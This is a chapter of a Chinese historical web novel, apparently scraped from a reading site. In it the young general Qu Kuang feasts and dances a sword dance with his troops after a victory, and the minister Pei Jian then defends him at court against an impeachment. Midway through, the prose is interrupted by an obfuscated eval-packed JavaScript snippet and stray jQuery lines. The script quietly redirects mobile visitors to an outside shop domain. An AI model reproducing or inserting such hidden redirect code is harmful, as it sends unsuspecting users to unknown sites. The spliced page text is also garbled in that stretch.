仗打赢了,瞿旷说要请他们喝酒,便真的请他们喝酒。
那夜朔方镇内破例点起了火把,校场上架起十几口大锅,切成大块的羊肉在浓汤里翻滚,热气被北风扯成白雾。
将士们围着火堆坐了里三层外三层,边吃羊肉边喝酒,其间有人拿空碗敲地,不时高歌一曲,有人已经喝得满脸通红,靠在同伴肩上傻笑。
瞿旷被郑武和赵二按在中间那堆火跟前,火光映在他脸上,将那过分浓烈的眉眼也烧得柔和了几分。
二十五岁的年纪,样貌轮廓已经棱角分明,瞿旷是标准的眉压眼,眉骨高,直长的眼睫近乎贴着眉线展开,加上颧骨线条利落,下颌线走向锋锐,不笑的时候便像一柄刚出鞘的刀,往往带给人极强的压迫感。
所以即使他相貌不俗,足被称得上一句瑰姿华表、霜严峻壁,旁人见到他的第一眼也不是想着“好看”,而是“这人不好惹”。
然而他那双眼睛却还不太像北境的人,没有那种常年被风沙磨出来的沉,经阳光一照便显示出偏青的色泽,如寒潭映玉,亮得清透。
此刻他被赵二塞了一碗酒,低头抿了一口,抬起头时鼻尖被热气熏得微红,嘴角沾了一圈酒渍,自己却毫无察觉。身上的刀锋被藏起来了,整个人的气态便显得极度温和。
赵二趁势在一旁扬声打趣:“将军,今天您不喝,弟兄们不敢尽兴。”
周围立马跟上一片起哄声:“瞿帅喝了——瞿帅喝了——”
瞿旷端着碗看了他们一眼,低下头,一口闷了。烧刀子从喉咙一路烫到胃里,他呛了一下,偏过头咳了两声,耳尖立即红了半截。
旁边的人见状笑得更凶了。
赵二递了块羊肉过来,他接了,叼着肉嚼,腮帮子鼓着,没什么往日不苟言笑的将军样子,倒像个在营火边偷吃的少年。盘起的发有几缕被风吹下来搭在眉梢,他也不拂,就那么顶着。
三碗下去,瞿旷的眼睛渐渐开始发亮。不是打仗时那种刀锋似的亮,是另一种——暖的,软的,像是冰下面淌出了水。他靠着赵二的肩膀歪了一会儿,忽然直起身来,眼睛眯了一下,嘴角慢慢翘起来。他在笑,但那个笑像是憋了很久终于没憋住,从底下涌上来的。火光在他脸上轻轻跳动,鼻梁侧扫下一片淡淡的侧影,于是整张脸的线条忽然柔和下来,终于让人想起他其实还是极年轻的年纪。
郑武凑过来,悄声说:“将军,您还会别的吗?”
瞿旷转过头看他。
郑武挤眉弄眼:“我听您长风军内的将士们说,从前您在东南,打了胜仗会舞刀——”
周围顿时又哄起来了:“瞿帅!舞一个!舞一个!”
瞿旷被这哄声抬了上去,站起来的时候微微晃了一下。赵二伸手要去扶,被他推开了。
他走到校场中间的空地上,掌心按上雁翎刀的刀柄,停了一瞬。夜风把他的额发吹起来,露出干净的眉弓和那双微微泛红的眼尾——他喝酒上脸,此刻眼尾到耳根全绯了一片,配着那身乌黑的轻甲,像冰天雪地里烧起来的一点火。
然后他拔了刀。
没有刻板的套路和招式,只是凭着酒意走,刀锋贴着夜风划开一道弧,然后又是一道,慢的时候刀尖垂地拖出一线火光,快的时候刀身映着火光转成一团。他转身、跨步、仰头,动作行云流水一气呵成,随后刀刃擦过火把顶端,挑起一簇火星浇进夜空里。
“翩若惊鸿,婉若游龙。”
再是没什么文化的士兵此刻脑海里也能蹦出这么一句话来。
瞿旷仰起头的时候,那冲天而起的火光从下颌一路照到喉结,酒劲让他的动作比平时松了几分,没有战场上那种绷到极致的锋利,反而像一场即兴的放肆。那双狭长的眼睛也半阖着,睫毛在火光里泛出金褐色的光,嘴角带着一点向上的弧度,松弛的、坦诚的、快意的。
没有人起哄了。
校场上不知道什么时候安静下来,只剩刀锋破风的咻咻声和火堆噼啪的响。
那些红着脸的士兵慢慢放下了酒碗,看着空地中间那个人——那个人白天在战场上喊“跟我走”的时候不是这个样子,那时候,他是铁铸成的,坚硬,从不会弯折。但现在,铁还是那把铁,只是被烧红了,变得柔软,但更加明亮。
瞿旷转了最后一圈,刀尖在空中虚虚地一划,留下一道洒脱的残影,然后他收刀,刀尖朝下插进土里,单手撑着刀柄站在原地轻轻地喘。几息后,他抬头笑了一下,那笑容朦朦胧胧的,火光照过那张绯红的脸颊和他额角薄薄一层汗,也照过他唇畔露出的那一排不太齐整的虎牙。
赵二适时走过去,把他那把刀拔出来插回鞘里,扶住他的胳膊。
“好了将军,好了好了,回去歇着吧。”声音带了点哄。
瞿旷由他扶着走了两步,忽然回头看了校场上一眼,看着那些还在噼啪作响的火堆。火光映着那些年轻的、红通通的脸,有人还在看着他笑。
他脸颊的红意已经向下延展到了脖颈,垂下的额发因为汗湿黏在眉梢上,一个不过二十五岁的人站在那里,浑身都是被酒和火光泡软的少年气。他抿着笑,把手臂从赵二手里挣出来,对着那些人拱了拱手,像江湖人那样弯了一下腰。然后他直起腰,转过头,阔步走了。
这时身后有人喊了一嗓子:“瞿帅——明天还喝不喝!”
瞿旷举起手摆了摆,没有回头,声音随着夜风一起飘回来,带着鼻音和笑意:“明天练兵。喝酒的和起哄的都加练一个时辰。”
霎时间,校场上骂声笑声混成一片。
火把瞿旷的影子拖得很长,他的脚步有一点歪,但背影还是笔直的,细碎的光亮在他耳根那一抹绯红上跳了跳,然后暗下去,只留了一声笑在风里,落回那些围着火堆的人中间,被酒和热气一起化掉了。
与北境这边打了胜仗后的欢欣热闹不同,朝堂中的风云涌动可称之为一波未平一波又起。
眼下,裴謇的新政推行到最艰难的阶段——察绩法裁撤了大批冗官,统征法动了豪绅的田地,弹劾他的奏疏如同雪片般飞向御前。
其中便有人将矛头指向了瞿旷。
成功活捉博尔忽固然是一件喜事,朝廷也理应论功行赏。
但是没过多久,便有人抓住瞿旷擅自出兵的把柄上奏,说他拥兵自重,意图谋反。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903557|212986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
打仗的事情,即使瞿旷已经写信告知裴謇请他向兵部声明,但是能混迹这朝堂之上的人都是老狐狸,借此又能立马牵扯出新的话题。
那些弹劾的奏疏里写得有鼻子有眼,说瞿旷与裴謇私交甚密,此次出兵未经兵部正式调令,实属擅自调兵,形同谋逆。更有甚者,还翻出瞿旷当年在军中收拢流民、私养亲兵的旧事,说他早有异心,如今不过是借战功遮掩狼子野心。
给事中王秉忠更是直接在皇帝面前上疏弹劾,措辞凶狠:“朔方总兵瞿旷,结交内阁大臣裴謇,往来书信私相授受;其在军中树党,诸将只知有戚帅、不知有朝廷;此外,军中银两去向不明,恐有贪墨之嫌。请陛下罢其兵权,彻查其罪。 ”
这道奏疏送到内阁那天,裴謇正在值房里批公文。他看完之后,沉默片刻,随后放下笔,重新拿起那道奏疏又读了一遍。
旁边的次辅凑过来:“元辅,这事儿不小,你打算怎么办?”
裴謇没有回应,只是把奏疏折好,放在案角。
当天下午他直接进了乾清宫,求见皇帝。
彼时,泰和皇帝正在批阅奏章,面上的表情辨不清喜怒。
裴謇跪在御前,双手呈上一摞卷宗,沉声说:“陛下,臣请为瞿旷一事剖白。”
泰和帝允了。
呈上的卷宗一共三份:
第一份,是瞿旷在朔方镇这六年的全部账目——每一笔军饷发放、每一座石堡造价、每一次战事耗费,均有户部和兵部的双重复核签章,清清楚楚,分毫不差。
第二份,是瞿旷历次保举部将的名单,共计二十五人。裴謇在旁边用小字批注了每个人的履历——“此人现为朔方左营参将,战功卓著”“此人现为大同镇守备,已独立领军”,二十五人,没有一个是他戚家的私亲。
第三份,是一封瞿旷写给他的信。信上只有几句话,日期是永昌七年冬:“传言近日朝中有人弹劾先生结交边将、图谋不轨,旷在军中闻知此事,夜不能寐,若因旷之故连累先生,旷自当解甲归田,回乡种地,请先生万自珍重,勿因此劳神。”
裴謇把这三份卷宗放在御案上,叩头道:
“陛下,瞿旷在朔方六年,令狄骑不敢南下者,其功也。其所筑石堡七百余座,至今巍然;所练长风军,至今为北境精锐。臣与瞿旷有书信往来,所谈不过边防军务,臣可一一呈致御览。若因臣之故疑及戚帅——”
裴謇抬起头,平静的眼眸直视御座:“臣请与瞿旷同罪。若有半句欺君,愿同死。 ”
满殿侍立的宦官都屏住了呼吸。
泰和皇帝沉默了很久,然后他伸手翻了翻那些卷宗,最后一挥手:“王秉忠妄言边将,夺俸三月。此事到此为止。”
裴謇叩首谢恩,起身退出。
走出殿门时,一阵寒风经由他身边走过,他这才发觉自己的后背已然被汗浸湿了。
那天晚上,他给瞿旷写信。
信写得极平淡,只是告诉他前些日子赫赫有名的铸剑师张清突然现身京师,便请来替他锻了一把好刀,已同他寄去了,附上几件新袄,北境气候愈寒,要他多穿衣保暖。